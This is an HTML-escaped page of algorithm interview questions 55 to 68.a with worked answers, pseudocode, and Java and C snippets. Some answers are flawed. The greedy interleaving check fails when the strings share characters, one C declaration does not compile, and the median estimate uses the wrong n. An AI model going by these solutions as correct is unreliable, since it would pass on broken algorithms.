&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt55&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;55.&lt;/b&gt; What sort would you use if you required tight max time bounds and wanted highly regular performance.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt55&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
A Balanced Tree sort -&gt; Guaranteed to be O(n log n) performance. No better, no worse.&lt;br&gt;
Insertion of all elements requires n * O (log n) =&gt; o(n log n) performance.
&lt;/p&gt;
&lt;p&gt;
Source : &lt;br&gt;
&lt;a href=&quot;http://www.glassdoor.com/Interview/What-sort-would-you-use-if-you-required-tight-max-time-bounds-and-wanted-highly-regular-performance-QTN_1183.htm&quot;&gt;http://www.glassdoor.com/Interview/What-sort-would-you-use-if-you-required-tight-max-time-bounds-and-wanted-highly-regular-performance-QTN_1183.htm&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt56&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;56.&lt;/b&gt; Three strings say A,B,C are given to you. Check weather 3rd string is interleaved from string A and B.&lt;br&gt;
Ex: A=&quot;abcd&quot; B=&quot;xyz&quot; C=&quot;axybczd&quot;. answer is yes.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt56&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Use three pointers. Pointer on string C is advanced at each iteration. Then either the pointer on string a or the pointer on string b is advanced depending on what character is found. Whenever the value in string C doesn&apos;t match neither of the expected value, return false.
&lt;/p&gt;
&lt;p&gt;
Here&apos;s some code in Java:
&lt;/p&gt;
&lt;pre&gt;
    &lt;b&gt;public static boolean&lt;/b&gt; isInterleaved (String a, String b, String test) {
        
        &lt;b&gt;int&lt;/b&gt; idxA = 0;
        &lt;b&gt;int&lt;/b&gt; idxB = 0;
        
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; test.length(); i++) {
            &lt;b&gt;if&lt;/b&gt; (idxA &amp;lt; a.length() &amp;&amp; test.charAt(i) == a.charAt(idxA)) {                
                idxA++;
            } &lt;b&gt;else if&lt;/b&gt; (idxB &amp;lt; b.length() &amp;&amp; test.charAt(i) == b.charAt(idxB)) {
                idxB++;
            } &lt;b&gt;else&lt;/b&gt; {
                &lt;b&gt;return false&lt;/b&gt;;
            }
        }
        &lt;b&gt;if&lt;/b&gt; (idxA &amp;lt; a.length() || idxB &amp;lt; b.length()) {
            &lt;b&gt;return false&lt;/b&gt;;
        }
        &lt;b&gt;return true&lt;/b&gt;;
    }
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt57&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;57.&lt;/b&gt; Given a Binary Tree, Programmatically you need to Prove it is a Binary Search Tree
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt57&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
If the given binary tree is a Binary search tree,then the inorder traversal should output the elements in increasing order.We make use of this property of inorder traversal to check whether the given binary tree is a BST or not
&lt;/p&gt;
&lt;p&gt;
One can modifiy iterativeInOrder this way:
&lt;/p&gt;
&lt;pre&gt;
isBST(node)
  prev = NULL
  parentStack = empty stack
  &lt;b&gt;while not&lt;/b&gt; parentStack.isEmpty() &lt;b&gt;or&lt;/b&gt; node != null
     &lt;b&gt;if&lt;/b&gt; node != null &lt;b&gt;then&lt;/b&gt;
        parentStack.push(node)
        node = node.left
     &lt;b&gt;else&lt;/b&gt;
        node = parentStack.pop()
        &lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;if&lt;/b&gt; prev is not null &lt;b&gt;then&lt;/b&gt;
            &lt;b&gt;if&lt;/b&gt; prev &gt; node.value &lt;b&gt;then&lt;/b&gt;
                &lt;b&gt;return false&lt;/b&gt;&lt;/span&gt;
        prev = node
        node = node.right
  &lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;return true&lt;/b&gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt58&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;58.&lt;/b&gt; Given an arbitrarily connected graph, explain how to ascertain the reachability of a given node.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt58&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Use any traversal algorithm and :
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;either check whether the given node has been marked or not&lt;/li&gt;
    &lt;li&gt;or return as soon as the node is encountered&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
One can modifiy the BFS algorithm this way:
&lt;/p&gt;
&lt;pre&gt;
  &lt;b&gt;procedure&lt;/b&gt; BFS(G,v,s): // s is the searched vertex
        create a queue Q
        enqueue v onto Q
        &lt;b&gt;while&lt;/b&gt; Q &lt;b&gt;is not&lt;/b&gt; empty:
             t &amp;lt;- Q.dequeue()
             &lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;if&lt;/b&gt; t == s &lt;b&gt;then&lt;/b&gt;
                 return true&lt;/span&gt;
             &lt;b&gt;for all&lt;/b&gt; edges e in G.adjacentEdges(t) &lt;b&gt;do&lt;/b&gt;
                  u &amp;lt;- G.adjacentVertex(t,e)
                  &lt;b&gt;if&lt;/b&gt; u is not marked:
                      mark u
                      enqueue u onto Q
        &lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;return false&lt;/b&gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt59&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;59.&lt;/b&gt; You are given 1001 numbers in an array. There are 1000 unique numbers and 1 duplicate. How do you locate the duplicate as quickly as possible?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt59&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Idea 1 : a hash map. in the end 1001 entries. (O(n) space / O(n) time average / O(n^2) time worst case) &lt;br&gt;
In this case, use a hash table with 1000 entries, using &quot;number mod 1000&quot; as hash function may be a good idea
&lt;/p&gt;
&lt;p&gt;
Idea 2 : Insert the numbers into a balanced binary search tree, when the duplicate comes up it will find that the value already exists in the tree, and it can then return. O ( n * log n ). 
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt60&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;60.&lt;/b&gt; Given that you can take one step or two steps forward from a given step. So find the total number of ways of reaching Nth step.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt60&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
The simple recurrence relation governing this problem is f(N)=f(N-1) +f(N-2),which is a fibonacci sequence.&lt;br&gt;
See &lt;a href=&quot;#25Link&quot;&gt;Generate a Fibonnaci sequence&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Nth state can be arrived directly by taking 2 step movement from N-2 or 1 step from N-1.Remember N-2 -&gt; N-1 -&gt; N is not a direct path from N-2th state to Nth state.&lt;br&gt;
Hence the no of solutions is no of ways to reach N-2th step and then directly taking a 2 jump step to N + no of ways to reach N-1th step and then taking 1 step advance.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt61&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;61.&lt;/b&gt; If you have one billion numbers and one hundred computers, what is the best way to locate the median of the numbers?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt61&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Notes:
&lt;/p&gt;
&lt;p&gt;
- Median of median doesn&apos;t necessarily return the true median ! Hence cannot distribute the median computation across 100 computers.&lt;br&gt;
- Naive Median finding algorithms runs in O(n) but can hardly be distributed.&lt;br&gt;
- Sorting runs in O(n log n) but median can then be fetched in O(1)&lt;br&gt;
- n = 1&apos;000&apos;000 =&gt; log_2 n ~= 20 =&gt; below 100 &lt;br&gt;
- Hence sorting first and then finding the median with usual algorithms may be interesting when using distributed sorting since:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;+ &lt;b&gt;O(n log n) whith log n = 20 divided on 100 computers is still more interesting than O(n) one one single computer.&lt;/b&gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;+ The key idea is to have &quot;sufficiently more&quot; cores than log n (20)
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Better idea ?&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Recall partition base selection. Is there any way to distribute it ?
&lt;/p&gt;
&lt;p&gt;
TODO Or any approach using MapReduce ?
&lt;/p&gt;

&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt62a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;62.a&lt;/b&gt; Implement multiplication (without using the multiply operator, obviously).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt62a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I would use binary multiplication.
&lt;/p&gt;
&lt;p&gt;
One way : &lt;b&gt;Repeated Shift and Add&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
(There are other ways)
&lt;/p&gt;
&lt;p&gt;
Starting with a result of 0, shift the second multiplicand to correspond with each 1 in the first multiplicand and add to the result. Shifting each position left is equivalent to multiplying by 2, just as in decimal representation a shift left is equivalent to multiplying by 10.
&lt;/p&gt;
&lt;pre&gt;
    &lt;b&gt;Set&lt;/b&gt; result &lt;b&gt;to&lt;/b&gt; 0
    &lt;b&gt;Repeat&lt;/b&gt;
        Shift 2nd multiplicand left until rightmost digit is lined up with leftmost 1 in first multiplicand
        Add 2nd multiplicand in that position to result
        Remove that 1 from 1st multiplicand
    &lt;b&gt;Until&lt;/b&gt; 1st multiplicand is zero
    Result is correct
&lt;/pre&gt;
&lt;p&gt;
See following steps:
&lt;/p&gt;
&lt;table style=&quot;border: 0px none; margin-left: 10px; margin-right: 10px; vertical-align: top;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; width: 100px;&quot;&gt;
   &lt;img alt=&quot;binary multiplication example 1&quot; style=&quot;width: 100px;&quot; src=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/ShiftMult0.gif&quot; /&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; width: 100px;&quot;&gt;
   &lt;img alt=&quot;binary multiplication example 2&quot; style=&quot;width: 100px;&quot; src=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/ShiftMult1.gif&quot; /&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; width: 100px;&quot;&gt;
   &lt;img alt=&quot;binary multiplication example 3&quot; style=&quot;width: 100px;&quot; src=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/ShiftMult2.gif&quot; /&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; width: 100px;&quot;&gt;
   &lt;img alt=&quot;binary multiplication example 4&quot; style=&quot;width: 100px;&quot; src=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/ShiftMult3.gif&quot; /&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; width: 100px;&quot;&gt;
   &lt;img alt=&quot;binary multiplication example 5&quot; style=&quot;width: 100px;&quot; src=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/ShiftMult4.gif&quot; /&gt;
&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/multiply.040.html&quot;&gt;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/multiply.040.html&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt62b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;62.b&lt;/b&gt; Implement division (without using the divide operator, obviously).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt62b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I would use binary division.
&lt;/p&gt;
&lt;p&gt;
Basically the reverse of the mutliply by shift and add.
&lt;/p&gt;

&lt;pre&gt;
    &lt;b&gt;Set&lt;/b&gt; quotient &lt;b&gt;to&lt;/b&gt; 0
    Align leftmost digits in dividend and divisor
    &lt;b&gt;Repeat&lt;/b&gt;
        &lt;b&gt;If&lt;/b&gt; that portion of the dividend above the divisor is greater than or equal to the divisor &lt;b&gt;then&lt;/b&gt;
            subtract divisor from that portion of the dividend and
            Concatentate 1 to the right hand end of the quotient
        &lt;b&gt;Else&lt;/b&gt; 
            concatentate 0 to the right hand end of the quotient
        Shift the divisor one place right
    &lt;b&gt;Until&lt;/b&gt; dividend is less than the divisor
    quotient is correct, dividend is remainder
&lt;/pre&gt;
&lt;p&gt;
&lt;img alt=&quot;Binary Division example&quot; src=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/divide.1.gif&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/divide.030.html&quot;&gt;http://courses.cs.vt.edu/~cs1104/BuildingBlocks/divide.030.html&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt63&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;63.&lt;/b&gt; You are given with three sorted arrays ( in ascending order), you are required to find a triplet (one element from each array) such that distance is minimum.
Distance is defined like this : If a[i], b[j] and c[k] are three elements then distance=max(abs(a[i]-b[j]),abs(a[i]-c[k]),abs(b[j]-c[k])).&lt;br&gt;
Please give a solution in O(n) time complexity.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt63&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
KEJ IDEA : since the arrays are sorted : keep moving the pointers until the solution gets better, stop when no pointer move, neither left nor right, can make the solution any better
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Solution from someone else:&lt;/b&gt; 
&lt;/p&gt;
&lt;p&gt;
I am not sure if this is correct, but it seems to be correct by intuition and intuitive testing, and works alright for a few test cases. &lt;br&gt;
Its also o(n)
&lt;/p&gt;

&lt;pre&gt;

     &lt;b&gt;public class&lt;/b&gt; NewMain {

          &lt;b&gt;public static void&lt;/b&gt; main(String[] args) {
              
                &lt;b&gt;int&lt;/b&gt; inp[] = {155, 160, 163, 170};
                &lt;b&gt;int&lt;/b&gt; inp2[] = {160, 162, 172};
                &lt;b&gt;int&lt;/b&gt; inp3[] = {143, 151, 159, 164, 167, 180};
              
                &lt;b&gt;int&lt;/b&gt; i=0, j=0, k=0; //counters
                &lt;b&gt;int&lt;/b&gt; min, max, minadd, maxadd;
                &lt;b&gt;int&lt;/b&gt; mindist=100000, mini=0, minj=0, mink=0, tempdist=0;
              
                &lt;b&gt;while&lt;/b&gt;(i &amp;lt; inp.length &amp;&amp; j &amp;lt; inp2.length &amp;&amp; k &amp;lt; inp3.length) {
                     min = inp[i];
                     minadd = i;
                    
                     &lt;b&gt;if&lt;/b&gt; (inp2[j] &amp;lt; min) {
                          min = inp2[j];
                          minadd = j;
                     }
                     &lt;b&gt;if&lt;/b&gt; (inp3[k] &amp;lt; min) {
                          min = inp3[k];
                          minadd = k;
                     }
                     max=inp[i];
                     maxadd = i;
                     &lt;b&gt;if&lt;/b&gt; (inp2[j] &gt; max) {
                          max=inp2[j];
                          maxadd = j;
                     }
                     &lt;b&gt;if&lt;/b&gt; (inp3[k] &gt; max) {
                          max = inp3[k];
                          maxadd = k;
                     }
                     &lt;b&gt;if&lt;/b&gt; ((max - min) &amp;lt; mindist) {
                          mindist = max - min;
                          mini=i;
                          minj=j;
                          mink=k;
                     }
                     System.out.printf(&quot;%d %d %d %d %d\n&quot;, i,j,k, max-min, mindist);
                     &lt;b&gt;if&lt;/b&gt; (inp[i]==min)
                          i++;
                     &lt;b&gt;if&lt;/b&gt; (inp2[j]==min)
                          j++;
                     &lt;b&gt;if&lt;/b&gt; (inp3[k]==min)
                          k++;                  
                }
                System.out.printf(&quot;%d\n%d\n%d\n&quot;, inp[mini], inp2[minj], inp3[mink]);              
          }
     }
&lt;/pre&gt;
&lt;p&gt;
Test cases:
&lt;/p&gt;
&lt;pre&gt;
int inp[] = {155, 160, 163, 170};
int inp2[] = {160, 162, 172};
int inp3[] = {3,9,15,21,25,31,40};
155
160
40
int inp[] = {155, 160, 163, 170};
int inp2[] = {160, 162, 172};
int inp3[] = {143, 151, 159, 164, 167, 180};
160
160
159
int inp[] = {100,200, 300};
int inp2[] = {151, 152, 152};
int inp3[] = {3,9,15,21,25,31,40};
100
151
40
&lt;/pre&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://www.careercup.com/question?id=3796439&quot;&gt;http://www.careercup.com/question?id=3796439&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt64&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;64.&lt;/b&gt; Given a binary search tree and an integer k, describe the most efficient way to locate two nodes of the tree that sum to k.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt64&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Key idea: use two pointers, one starting at lowest value, other starting at value k, move first to right, second to left (inOrder order) until value is found ... or not.
&lt;/p&gt;
&lt;p&gt;
Example Tree:
&lt;/p&gt;
&lt;pre&gt;
                     15
                  /      \
              10          16
            /     \          \  
          5        12         20
         / \      /  \       /  \
        2    8   11   14    17  22
&lt;/pre&gt;        
&lt;p&gt;
Solution:
&lt;/p&gt;
&lt;pre&gt;
     // input  : k
     
     //     note : in order to ease implementation of nextInOrder amd prevInOrder, 
     //            it might be required to build a tree with backlinks as initialization step (O(n))
     //            Othwerwise, une iterativeInOrder and return value following, resp. preceding
     //            search value.

     // init
     min = first node inOrder
     max = locate node in the tree that is either equal to k or the smallest that is greater than k
     
     doLoop = true
     
     // algo
     &lt;b&gt;while&lt;/b&gt; doLoop &lt;b&gt;do&lt;/b&gt;
     
          l = value(min) + value(max)
     
          &lt;b&gt;if&lt;/b&gt; (max == min &amp;&amp; l != k) &lt;b&gt;then&lt;/b&gt;
                stop &quot;ERROR : none found&quot;
          &lt;b&gt;end if&lt;/b&gt;
     
          &lt;b&gt;if&lt;/b&gt; (l == k) &lt;b&gt;then&lt;/b&gt;
                break // min and max sum to k          
          &lt;b&gt;else if&lt;/b&gt; (l &amp;lt; k) &lt;b&gt;then&lt;/b&gt;
                min = nextInOrder (min)
          &lt;b&gt;else if&lt;/b&gt; (l &gt; k) &lt;b&gt;then&lt;/b&gt;
                max = prevInOrder (max)
          &lt;b&gt;end if&lt;/b&gt;
     &lt;b&gt;end do&lt;/b&gt;
&lt;/pre&gt;
&lt;p&gt;
Test values:     
&lt;/p&gt;
&lt;pre&gt;
  k    :  10
  It   :  0    1    2    3    4    5    6
  min  :  2    2  
  max  :  10   8  
  l    :  12  10    DONE
  
  k    :  20
  It   :  0    1    2    3    4    5    6
  min  :  2    2    5    5    5
  max  :  20  17   17   16   15
  l    :  22  19   22   21   20    DONE
  
  k    :  18
  It   :  0    1    2    3    4    5    6
  min  :  2    2    2
  max  :  18  17   16
  l    :  20  19   18    DONE
         
  k    :  9
  It   :  0    1    2    3    4    5    6
  min  :  2    2    2    5
  max  :  10   8    5    5
  l    :  12   10   7   10    ERROR
         
  k    :  13
  It   :  0    1    2    3    4    5    6
  min  :  2    2    2
  max  :  14  12   11
  l    :  16  14   13    DONE          
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt65&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;65.&lt;/b&gt; What is the KBL algorithm ?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt65&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;span style=&quot;color: red;&quot;&gt;TODO&lt;/span&gt;
...
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt66a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;66.a.&lt;/b&gt; You&apos;re given an array containing both positive and negative integers and required to find the subarray with the largest sum (O(N) a la KBL).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt66a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
This is an all-time favorite software interview question. The best way to solve this puzzle is to use Kadane&apos;s algorithm which runs in O(n) time. &lt;br&gt;
The idea is to keep scanning through the array and calculating the maximum sub-array that ends at every position. The sub-array will either contain a range of numbers 
if the array has intermixed positive and negative values, or it will contain the least negative value if the array has only negative values. 
&lt;/p&gt;
&lt;p&gt;
Here&apos;s some code to illustrate.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;void&lt;/b&gt; maxSumSubArray( &lt;b&gt;int&lt;/b&gt; *array, &lt;b&gt;int&lt;/b&gt; len, &lt;b&gt;int&lt;/b&gt; *start, &lt;b&gt;int&lt;/b&gt; *end, &lt;b&gt;int&lt;/b&gt; *maxSum )
{
     &lt;b&gt;int&lt;/b&gt; maxSumSoFar = -2147483648;
     &lt;b&gt;int&lt;/b&gt; curSum = 0;
     &lt;b&gt;int&lt;/b&gt; a = b = s = i = 0;
     
     &lt;b&gt;for&lt;/b&gt;( i = 0; i &amp;lt; len; i++ ) {
          curSum += array[i];
          &lt;b&gt;if&lt;/b&gt; ( curSum &gt; maxSumSoFar ) {
                maxSumSoFar = curSum;
                a = s;
                b = i;
          }
          &lt;b&gt;if&lt;/b&gt; ( curSum &amp;lt; 0 ) {
                curSum = 0;
                s = i + 1;
          }
     }
     *start = a;
     *end = b;
     *maxSum = maxSumSoFar;
}
&lt;/pre&gt;
&lt;p&gt;
Testing it on some values:
&lt;/p&gt;
&lt;pre&gt;
Input     : array [ 1, 2, -6, 6, 17, 12, -4, 7, -8, -11, 12, -5, 3, 4, 16, -7, -8, 12, -4, 6]  
           (idx)    0  1   2  3   4   5   6  7   8    9  19  11 12 13  14  15  16  17  18 19
Feelings                      [    35  ]
                              [       38     ]
                                                         [      30      ]
                              [                            49           ]
                                                                          
Algo:
      i          : init    0    1    2    3    4    5    6    7    8    9   10  11  12  13  14  15  16  17  18  19
      array[i]   :         1    2   -6    6   17   12   -4    7   -8  -11   12  -5   3   4  16  -7  -8  12  -4   6
      a          :         0    0    0         3    3    3         3                                     3
      b          :         0    0    1         3    4    5         7                                    14
      s          :         0              3
   curSum (bef.) :    0    1    3   -3    6   23   35   31   38   30   19   31  26  29  33  49  42  34  46  42  48
   curSum (aft.) :         0    1    3    0  
  maxSumSoFar    :  -..    1         3    6   23   35        38                             49
       BEST      :                                                                          |
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a id=&quot;link66b&quot; href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt66b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;66.b.&lt;/b&gt; Given an array, find the longest continuous(!) increasing subsequence.
&lt;/a&gt;&lt;br&gt;
Not to be confused with problem &lt;a href=&quot;#link25c&quot;&gt;25.c&lt;/a&gt; which releases the &quot;continuous&quot; constraint.
&lt;/p&gt;

&lt;div id=&apos;bt66b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
We can do better than backtracking (O(n^2)) in the worst case. 
&lt;/p&gt;
&lt;p&gt;
We can use a variant of Kadane&apos;s algorithm which runs in O(n) time.&lt;br&gt;
The idea consists simply in moving the pointer from the beginning to the end of the array, incrementing the size of the longest increasing continuous sequence as long as the number increase and restarting the sequence collection as soon as a decreasing number is encountered.
&lt;/p&gt;
&lt;p&gt;
Algorithm looks this way:
&lt;/p&gt;

&lt;pre&gt;
    &lt;b&gt;public static int&lt;/b&gt;[] findLongestContinousIncreasingSequence(&lt;b&gt;int&lt;/b&gt;[] array) {
        
        &lt;b&gt;int&lt;/b&gt; start = 0;
        
        &lt;b&gt;int&lt;/b&gt; bestStart = 0;
        &lt;b&gt;int&lt;/b&gt; bestEnd = 1;
        &lt;b&gt;int&lt;/b&gt; bestSize = 1;
        
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 1; i &amp;lt; array.length; i++) {
            &lt;b&gt;if&lt;/b&gt; (array[i] &gt; array[i - 1]) {
                &lt;b&gt;if&lt;/b&gt; (i - start + 1 &gt; bestSize) {
                    bestSize = i - start + 1;
                    bestStart = start;
                    bestEnd = i + 1;
                }                
            } &lt;b&gt;else&lt;/b&gt; {
                start = i;
            }
        }
        
        &lt;b&gt;return&lt;/b&gt; Arrays.copyOfRange(array, bestStart, bestEnd);
    }
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        System.out.println (Arrays.toString (findLongestContinousIncreasingSequence(
		         new int[]{1, 5, 3, 4, -1, -6, 4, 8, 2, 5, 4, -2, 8, 9, 12, -3, 4})));
    }
&lt;/pre&gt;
&lt;p&gt;
Which returns:
&lt;/p&gt;
&lt;pre&gt;
[-2, 8, 9, 12]
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt67&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;67.&lt;/b&gt;  Given an array of characters which form a sentence of words, give an efficient algorithm to reverse the order of the words (not characters) in it.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt67&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;First idea in O(n) time O(n) space&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Loop through space and stack words (O(n)) then unstack until stack is empty (O(n) worst case)
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Second idea in  O(n) time O(1) space ... well not really O(1) space&lt;/b&gt;
&lt;/p&gt;
&lt;ul&gt;
     &lt;li&gt;browse input string until a space is found. &lt;/li&gt;
     &lt;li&gt;string so far is a word&lt;/li&gt;
     &lt;li&gt;recursively call function on end of string and append word to result&lt;/li&gt;
     
&lt;/ul&gt;
&lt;p&gt;
Java code:
&lt;/p&gt;
&lt;pre&gt;
     &lt;b&gt;public static&lt;/b&gt; String reverseString (String source) {
          &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; source.length(); i++) {
                &lt;b&gt;if&lt;/b&gt; (source.charAt(i) == &apos; &apos;) {
                     &lt;b&gt;if&lt;/b&gt; (i &amp;lt; source.length() + 1) {
                          &lt;b&gt;return&lt;/b&gt; reverseString (source.substring(i + 1)) + &apos; &apos; + source.substring(0, i);
                     }
                     &lt;b&gt;break&lt;/b&gt;;
                }
          }
          &lt;b&gt;return&lt;/b&gt; source;
     }
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Note This is not really O(1) space, but O(n) since it uses function calls on the stack as a memory.&lt;/span&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt68a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;68.a.&lt;/b&gt; Fastest algorithm or way to check a X&apos;s and 0&apos;s game (i.e. TIC TAC TOE) board.
